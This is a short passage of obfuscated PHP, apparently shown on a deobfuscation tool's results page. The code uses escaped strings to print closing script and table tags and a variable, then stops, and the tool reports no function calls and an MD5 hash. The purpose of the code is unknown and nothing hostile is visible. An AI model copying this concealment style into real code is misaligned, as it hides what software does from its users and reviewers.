"\x27\40\164\171\x70\x65\75\x27\164\x65\170\164\57\152\141\x76\141\x73\x63\162\x69\160\164\47\x3e\74\x2f\163\143\x72\x69\160\x74\x3e"; } print "\74\x2f\x74\141\142\154\145\x3e\74\x2f\x64\x69\x76\76"; print $dnsN; die; } goto GKpVb; QY4QV: ?>

Function Calls

None

Variables

None

Stats

MD5 ccecfe151571ed3844bd2f7f676ce0c2
Eval Count 0
Decode Time 183 ms